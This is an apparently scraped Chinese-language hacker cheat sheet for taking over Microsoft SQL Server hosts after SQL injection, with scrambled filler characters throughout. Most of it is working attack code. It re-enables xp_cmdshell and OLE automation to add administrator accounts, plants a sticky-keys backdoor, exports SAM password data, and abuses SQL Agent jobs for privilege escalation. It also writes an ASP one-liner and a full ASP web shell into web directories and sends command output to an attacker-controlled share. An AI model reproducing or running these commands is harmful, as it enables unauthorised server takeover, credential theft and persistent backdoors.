1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
5 m) J- S/ C' T+ _! @; _恢复方法:查询分离器连接后,
, e6 s7 T) I3 w U9 R1 g: r# h第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
/ B- _! }( I- G' ?8 e' h第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2 K2 x6 w+ F9 J) O" u; p然后按F5键命令执行完毕
& v5 z, l. h6 W* W/ b N/ [* M6 d% ` J1 |6 J& l- s: `
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
# j9 u, e- i o恢复方法:查询分离器连接后,
@$ z! Y: u: Q2 D2 T" _第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
( D8 E6 n' W, B7 \第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll': P8 h N( B: t4 L. c) k
然后按F5键命令执行完毕
% A! d# V [- G: D
4 a8 ~6 ?! _) ]) X3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)* k _8 C7 g$ z4 [4 K9 n8 v. ~
恢复方法:查询分离器连接后,/ o; w. H$ M) x( C; i+ E* {& R2 @
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
' u) M+ B E2 G* E第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
/ \. O1 Q, I, d0 R! W% g, P4 n) C% ]然后按F5键命令执行完毕9 r4 K. Z+ {. D) H
$ D9 ^ ]* h9 N( c+ Z, M( z
4 终极方法.+ k- R* \8 A+ x# s4 L
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:3 r8 J4 B3 `/ L; s1 s) j( K
查询分离器连接后,. ^0 h5 L ~8 H- @) u
2000servser系统:( B" M* f# x7 S. p5 c) |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
+ i, d7 a' E1 E* z5 M0 p, u9 U8 V/ U; f
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" B9 A ]2 j7 L1 C1 T$ G& p; y
9 E3 b- D0 @9 U+ {2 N2 |xp或2003server系统:1 h# F1 N% d3 U1 ^+ f4 ~; ^ ]
; w) G; ~8 B7 d) S% ^# @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
( Y; D; R) |* X/ t* G0 [5 n/ [7 O( K" U, |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% l7 @) A! g5 r x4 u3 P: x- y% R+ N/ l
& f3 p$ [( y; {8 z6 D, w
五个SHIFT) E* Y" v% G8 |8 \2 C; y3 @
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
2 c) a ?2 x/ ?: e; ]# l# j/ n& E5 R% ~5 y) Q% I
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 0 o( o. I& f1 i# `7 p5 H
: U; N! Y' j( z* {* h
xp_cmdshell执行命令另一种方法0 `5 V" N. D" E) p' h5 P1 }% ^1 I
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
) Z" W0 ~9 l* t% S( Z i& D& w
* ?0 G/ R& }- u# A4 s判断存储扩展是否存在3 `% x) ^% x" J6 j" H% E: Q
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
( r' H2 ]$ E+ ~5 P' ~! b返回结果为1就OK5 }1 F; {" X; Q. ~& C5 T' B4 _
# G4 }. K/ ], H) O4 X9 v5 X4 C
& A" I$ l9 h' {3 z$ [- d' K% C& F上传xplog70.dll恢复xp_cmdshell语句:
0 m f. m# L6 ]! Csp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'3 {, ^# }2 L3 [/ k! a
3 H1 G: \& j- Y5 \6 s, O
否则上传xplog7.0.dll7 }8 @" j' \4 V t) M( }
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'* n" K, Q" p; a
5 v( w( I, e6 |1 X. G* A3 W& t2 X3 l# s$ s9 [
+ _2 V( `' E5 v, g
首先开启沙盘模式:8 y9 j- C) N$ F# v7 A+ ?1 r( B
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 C$ j$ Q" T: x4 |
! R* M* U `8 m" Y# o/ l然后利用jet.oledb执行系统命令
" [/ I% _- M% l! hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')" y" n' k% c1 |9 j9 V2 p8 ~0 m
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了0 f; ] |4 O$ @! _4 R$ {
! F7 C: |: y6 l6 q0 V
! z0 o8 Z7 f' N# |2 j$ A l) X1 M \$ d5 z
恢复过程sp_addextendedproc 如下:
% A5 a5 s5 V( [- H% Bcreate procedure sp_addextendedproc --- 1996/08/30 20:13
+ K2 @* N$ ]% w) ]2 ~@functname nvarchar(517),/* (owner.)name of function to call */ & V% m+ y; O3 R- @
@dllname varchar(255)/* name of DLL containing function */ + ]9 P7 Y$ i% ]/ h S8 n
as
; i: i% Q: Q/ A3 Hset implicit_transactions off
5 U: j2 q; I% f# H2 F2 ?" Pif @@trancount > 0
/ [9 C6 G" T8 C0 |begin 2 B4 l! x+ J$ F
raiserror(15002,-1,-1,'sp_addextendedproc')
) ?: c/ ^ r) E8 T# Mreturn (1) - F) X! O0 W' b8 `) ~
end $ `: P- i* [- [: H3 g+ C( H9 V
dbcc addextendedproc( @functname, @dllname)
) e* M* g4 T' k! a$ Mreturn (0) -- sp_addextendedproc . Z. `9 h7 h1 `1 O7 l
GO 4 @# y7 V- r0 G7 }. n. E
, |/ j- r) N4 {5 a% b. {% N; f
5 w: h; t& w: |, j+ `- g O& p- S2 u9 s& U
导出管理员密码文件
- U/ V4 y0 ] Q0 S! Psa默认可以读sam键.应该。5 |& M& P/ l) N2 U. a
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
s( \% F7 Y( x. Hnet user administrator test
" z& z5 T0 r9 X$ O用administrator登陆.
5 R" @2 K/ E3 X5 w' f1 |) H8 _6 ~# ~用完机器后
: m0 Y# d A9 [8 p+ H0 Breg import c:\test.reg) n N+ L1 ^; Q9 \$ `7 L5 A# ~
根本不用克隆.
3 N! g; O( q2 Y6 e找到对应的sid.
# q; d4 u5 y/ `4 t6 A2 t. ~2 ?' z3 a& A0 ^9 {$ V
# L6 N5 F6 E+ s9 q S8 N* G5 h. m$ Y8 ?0 m. e. n) D3 H* t5 v4 S
恢复所有存储过程
6 M$ \6 d$ V# Luse master 7 }3 \' x& _) N9 |. @ ?
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 8 [: R" t* c0 M: c9 M
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
+ y4 q% ^$ T( a8 Uexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% ], `) y6 w- o, K' ^9 C Fexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
" O% \4 i& D6 j5 s/ [' E/ l' Uexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' , G2 ^" D+ f! {1 a
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
. C: d2 k ~# v2 ]0 v# z/ jexec sp_addextendedproc sp_OADestroy,'odsole70.dll' - k$ [' k- m7 k
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 3 k- i/ X% N4 B% d, C4 K
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' / s7 o( I j9 ?5 T. t
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
+ V4 E- P/ D4 pexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 2 H: S! |5 A x/ y1 w
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 7 P, z* F* R" _2 w M: g
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' * u+ u: b0 C9 ^8 D- l6 d- W
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
( p3 g0 p9 y+ {' V- `2 s; v6 B& Pexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
' N4 j. ?7 _" b2 A& Qexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
9 B* {( x: A, k: C5 `exec sp_addextendedproc xp_regread,'xpstar.dll'
0 ?" x& l* t d+ Lexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
e( D1 T" J3 k- U# vexec sp_addextendedproc xp_regwrite,'xpstar.dll' ) M z1 t4 k. v8 x
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
( |9 ?- y R$ g( l7 J! ~! v& l+ y" c$ v& e) X9 P
8 }0 S. Z$ c. M2 j( H9 |
建立读文件的存储过程; Z, v; w. x/ {
Create proc sp_readTextFile @filename sysname: \& `; Z9 D8 p8 Q* q/ q; u1 D+ H
as
- r( V% ]4 O; U6 M: ]7 w. u! x" f p0 s* O
begin
, L5 \; b5 c# K* H set nocount on
. p7 E0 |# F6 F' T; k/ F Create table #tempfile (line varchar(8000))
; F+ u0 B/ B1 q( ?, _+ }7 k exec ('bulk insert #tempfile from "' + @filename + '"')
+ Y6 P: S* U }* a select * from #tempfile: f2 H* n( a, Z3 M% Y8 Q' t4 w. u
drop table #tempfile1 ], t* z, C$ p# n
End* E) w; W, l9 q! g9 c: P$ W# ^7 @
) s" Q0 E f1 T& h4 N; T; nexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
0 O6 d$ q6 G+ u5 q# m1 ~查看登录用户3 }% x0 m3 v7 X* B
Select * from sysxlogins* C# W4 C O8 b" A+ e! m
9 Z3 Z4 ~; P' a0 C; ]9 m
把文件内容读取到表中
6 U7 N- G% P3 T. _! P4 ZBULK INSERT tmp from "c:\test.txt"9 t# T, _' i: O' X
dElete from 表名 清理表里的内容) c* {/ ~7 P e' ?
create table b_test(fn nvarchar(4000));建一个表,字段为fn9 A' L9 p. h, R0 P, W: D( W, }
1 o, e5 i, C& c) L: i$ n8 I
8 v0 u# V% a& D+ U S( {4 q/ _# @$ w$ f加sa用户- g+ u# N& I4 E, i( W# J
exec master.dbo.sp_addlogin user,pass;2 k# n- g5 Y P `1 A2 m
exec master.dbo.sp_addsrvrolemember user,sysadmin
: f# y. A& v6 N {: O1 Q" M# ]. n I2 l. A+ G
; c, f, O% F3 H. E1 y5 V, C
7 o |# Q. g) H+ ^+ Z8 V5 Q; |2 J读文件代码
1 m* l* X" I/ R! ]6 \declare @o int, @f int, @t int, @ret int
) k% `, b: Y2 c" S' P$ K- \declare @line varchar(8000)& ~: C0 s( B5 u
exec sp_oacreate 'scripting.filesystemobject', @o out
4 a5 S% F( B, f# ]exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1# f2 g Y& z; f7 Z% C
exec @ret = sp_oamethod @f, 'readline', @line out* e) }; ~+ ~, H
while( @ret = 0 )
0 W- ?9 `4 W$ \) ebegin2 d3 j5 L" c0 j" }' S4 m$ z
print @line" g) ~" |1 L+ X q' y1 E9 c. _
exec @ret = sp_oamethod @f, 'readline', @line out) q4 K4 c* M2 G6 ]5 `$ G5 `
end, X6 M9 k, e" g0 S- l3 n- d7 Q
* a3 K% q' _" E" K1 N
! J: Q% W: }; O* E* g, D写文件代码:
# M# R; W8 e, U7 X Ddeclare @o int, @f int, @t int, @ret int; ^4 ?; u4 A, b' ^ Y8 v' L2 X
exec sp_oacreate 'scripting.filesystemobject', @o out
7 }% t, {+ P! C! C4 ]. yexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1% L0 j3 e, N8 ^0 F
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
6 X( n5 V; S) u. x6 R7 y5 J
- h$ d8 G& d3 I- U
2 a( _9 \7 w3 R$ f& `/ A添加lake2 shell; Y( s; t( Q8 r8 D7 A3 ~& w; a
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
. L; o9 L& O& Y8 nsp_dropextendedproc xp_lake2
6 I# k3 k7 U: M+ AEXEC xp_lake2 'net user'* g9 y' ^: { t, ~1 U/ O# F
/ g+ W" L, f6 B$ W4 B. R
# i# S& V y5 l" O! e
得到硬盘文件信息
: M$ f- n# Q$ }# j) h! a--参数说明:目录名,目录深度,是否显示文件
5 I! |. e! l, a; `3 S* lexecute master..xp_dirtree 'c:'
# s/ u! r5 A$ _execute master..xp_dirtree 'c:',1 5 I: k+ y1 K/ s p$ U! c
execute master..xp_dirtree 'c:',1,1
: |8 N! F* C$ t4 X6 U
, U3 D$ W; D6 a- R2 y( P' h4 Z X" A. o' m5 k3 l$ `
读serv-u配置信息
u- F* S; w! K) j2 \exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'/ W( y+ `. c8 i
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'" ~2 T7 ~* e6 k. ^4 ^$ `4 g
9 j: l/ l+ J4 F5 \' c! u4 @通过xp_regwrite写SHIFT后门
% {+ x4 |6 E3 u5 j+ N" f! fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--: T4 j# f) r! {; G5 K
6 ~2 W$ K1 W: h4 G* g, A3 _
5 x7 y' w, ~& w* h! j+ ~
4 K8 d. w6 A, |2 o9 k+ Z找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';% P$ }. b* h* b* X3 T
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
3 @, L# q: n g5 |5 a
8 D Q3 s. E9 I& B; s4 _; M2 N" s5 U" vEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
4 a) T8 @/ A' c& ]5 o5 f2 b' E* ?2 t
9 ?( ]$ {$ F2 w0 W# p1 C
1 d. P7 S' q! H4 `2 {' Asql server 2005下开启xp_cmdshell的办法 }* w* Y& x. F$ ?/ [' @7 q
. M' F' S# R# O$ eEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& H: n$ g' \$ b" ~% d b( p3 o) t5 A8 M% v
SQL2005开启'OPENROWSET'支持的方法:* q1 _3 ` D; P" G
8 Y+ Q5 d$ c; V/ A3 G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! W m- d7 z* n2 L) V/ F# }
B! A# v+ t. c/ g' D1 QSQL2005开启'sp_oacreate'支持的方法:
z" g* B: z& Q+ W) b7 u$ [6 @6 t# K- ?4 X: U& C+ @( E
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;9 F7 e, a- g8 K
1 j3 I {, b5 p4 \2 H' w- y- }
2 j, b* V' q) N, x% x! ], w
3 y4 B7 X% J2 R" i& m
# _% S! M8 }/ y: Z$ O1 E3 n* q" _" j* N
- V& P- Y# H x/ L8 Z8 K
; `1 x) p& _# u6 o! d, H/ z0 w" l1 w
1 J0 ]# i ^/ L2 i4 o+ P; G
9 q/ s. l% \6 T$ }9 g4 X
' _3 g& g1 a" K3 `: J
) {! Y3 j m+ @- j" p: c! j4 E d: a& Q3 B
2 Y: k8 B$ B- e
2 V' Y8 v& k2 C8 ^8 E& x+ i
# t, ~! G% W+ ^% M9 w; A- z
- }1 y0 ~ o m" @0 L
% O1 ?4 r4 O# i y9 `: P
9 w% ^+ N2 [4 F |1 v
$ @9 n& w$ {1 C* ~$ t& @4 H$ Y
/ g) J% |- O$ q8 C8 b s
n( H4 |' Q1 q4 T d, L+ c( A5 c; s' Y+ e" P
- x9 |( W0 H: X/ }$ m, t3 t
以下方面不知道能不能成功暂且留下研究哈:
2 ]$ N+ c+ L( P$ l/ I4)7 _# r! o+ h4 E5 x. B! p! x
use msdb; --这儿不要是master哟1 A K. `0 y/ @+ C0 {: O- M
exec sp_add_job @job_name= czy82 ;7 R( Q. ?' V9 n
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;. X0 R% }: U D: d; T" m
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;+ K8 e7 g, |, ^, D5 N' m% y
exec sp_start_job @job_name= czy82 ;8 r9 E$ Q" n" ^! Y B* T8 b7 m1 j
+ B5 _% Z; f1 x0 V. B/ q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以% D2 W0 |9 ]1 L+ [+ f' m
执行tsql语句了.
$ e1 H6 G o9 U7 D( d对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
/ N- r* k" c$ I6 S8 E第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
H V* J/ A' \7 V8 _! pnet start SQLSERVERAGENT
6 o/ J: B, s8 f9 q' o6 B5 i3 A# R& E& @( g. k
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
( I! Z7 ^7 T$ }USE msdb* x/ u% H6 T9 o/ m( Z& |
EXEC sp_add_job @job_name = GetSystemOnSQL ,% H4 @# t9 m1 O6 R
@enabled = 1,
9 ~7 @( f6 F0 E/ S- i2 w9 ]@description = This will give a low privileged user access to2 a- m( ?: K. c
xp_cmdshell ,
7 ]1 @ F' K' E5 E& ~# S8 c$ l8 P@delete_level = 1! H ^! ` k: u; S: ] E
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,7 T* J. j" i9 N+ W6 f. j( {, G
@step_name = Exec my sql ,
- `% U- f2 V7 H7 K4 D@subsystem = TSQL ,1 m$ X! J" Y- j( M5 E% w! b# Y; x
@command = exec master..xp_execresultset N select exec
! B( B+ `) }9 i; O* C3 Pmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
9 |& J! j! p8 p+ F; o2 H4 tEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
J1 j. V8 y+ l" l) H@server_name = 你的SQL的服务器名
; k4 S6 U" r* PEXEC sp_start_job @job_name = GetSystemOnSQL ; g& w- d9 [2 F' k3 R
- G4 z- g+ p+ ^( M/ m
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) v9 }: n8 A* p! L才让我们可以以public执行xp_cmdshell
0 f1 z' i+ X: O6 g% L& Z: y' M) L- I' [
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
; ~8 i3 |7 o/ }1 B, t& H: v在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
8 E" n* [1 G* ]8 P/ Z/ m$ \5 H- ~- v
USE msdb
, j: i/ d5 i# e# jEXEC sp_add_job @job_name = ArbitraryFilecreate ," ?, t9 X; O4 N# N+ n
@enabled = 1,$ w3 t. I/ r% ]5 s
@description = This will create a file called c:\sqlafc123.txt ,# q; z7 U2 r& b$ A X7 \
@delete_level = 1
1 i. A- _2 l# c* z" dEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
( Y P$ c: C3 o- r) J4 v) j' s: @@step_name = SQLAFC ,
9 c1 c0 R2 c6 i( {" r; m0 ?@subsystem = TSQL ,
& Z \& o) M' H% E% G) Y@command = select hello, this file was created by the SQL Agent. ,. d7 k `1 g% S7 K0 j% x
@output_file_name = c:\sqlafc123.txt ( j$ g) I' ?# M& z
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,. u b$ \: T5 h" J3 U
@server_name = SERVER_NAME & q4 Y8 e' U# M/ E
EXEC sp_start_job @job_name = ArbitraryFilecreate ( \- V) w( e2 U: _! p2 H
7 S3 F( c" y4 x# t0 i! i! Q6 x! A" [7 g4 Y
如果subsystem选的是:tsql,在生成的文件的头部有如下内容& o8 b: ] J* G9 h% H0 J
1 ?+ E" y4 f. |??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
4 m$ d1 n% t- ^" |+ D, g----------------------------------------------/ t. A" c/ u) p2 G
hello, this file was created by the SQL Agent.
% t: }7 O4 I0 { p* z F
) X% n+ I3 c4 J% v N4 v& e9 n(1 ?????)
- m0 U# G5 m) `: w7 K3 C$ n K7 J; E2 x- U
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
5 m$ a5 z5 Z6 u命令的vbs文件到启动目录!
8 L+ b5 s( m2 E5 r! q; A0 @6 L7 ]- s4 O+ I/ z, |# b
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
& Q6 D9 f8 w5 A5 Q" p关于sp_MScopyscriptfile 看下面的例子
; ]/ ]2 I; r: G" ]declare @command varchar(100)
' j; O3 t9 v' ^declare @scripfile varchar(200) ' f, x3 {6 G; T! X5 M
set concat_null_yields_null off
7 v' E) U' ~2 v/ F+ Sselect @command= dir c:\ > "\\attackerip\share\dir.txt" . x3 G8 u6 n& r/ s/ n
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 6 f) K Z# a p
exec sp_MScopyscriptfile @scripfile , 6 l8 y: t6 l& [& S! H
9 J1 m& K: l8 J; m! P这两个东东都还在测试试哟" K) l" e! E* N! g3 X
让MSSQL的public用户得到一个本机的web shell ) C6 P3 A# J7 r+ {3 J& {
4 B! x+ g) c$ d3 s# u! Z3 V1 S
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
$ G7 R f6 E: E2 _: f# G--@query= select <img src=vbscript:msgbox(now())>
- D& j$ M2 S! k' c' F1 u# s--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> % C& v- u+ u b2 T) b
@query= select
- n1 a# L, P' M<%On Error Resume Next ' k" ?3 j8 A: @! c( {: Z
Set oscript = Server.createObject("wscript.SHELL") & d% P7 f3 S4 [5 D8 @
Set oscriptNet = Server.createObject("wscript.NETWORK") , r0 a/ K& W) e1 u% X/ }
Set oFileSys = Server.createObject("scripting.FileSystemObject")
$ }% G. b9 k @/ L# s6 gszCMD = Request.Form(".CMD") 6 @. @/ w0 c. R! S) S
If (szCMD <>"")Then ) @1 h/ S+ u: r. Y+ s; x
szTempFile = "C:\" & oFileSys.GetTempName()
P& f) }# F+ R0 Y! z# WCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ' Z8 t( l; b, n! a2 D9 B( @9 Q
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ( |) P0 B7 a7 E8 L+ T1 t
End If %> / n3 Z& @" f/ |% o3 t
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
2 Y9 f. g6 G( e* [0 I9 b6 l+ _* H<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 1 k8 f7 G# k* Z# T+ x. B9 t9 _, W3 ~
</FORM>< RE> 2 K( [- C/ @; N& n8 z
<% If (IsObject(oFile))Then 4 ~- n5 D, H7 _+ }3 v5 K6 _2 ?
On Error Resume Next # D5 Q+ _( U) F- a: G
Response.Write Server.HTMLEncode(oFile.ReadAll) . I% a S1 E4 |4 w4 h7 j3 u
oFile.Close , P" \9 d% L# K0 q, J* [& t3 ^
Call oFileSys.deleteFile(szTempFile, True)
- R; o6 J+ w& B" \9 C& g8 n( I, |End If%>
% r4 M B2 {+ G7 `0 H$ w @0 L</BODY></HTML>
' T0 W4 v+ ]& k" W8 F" g |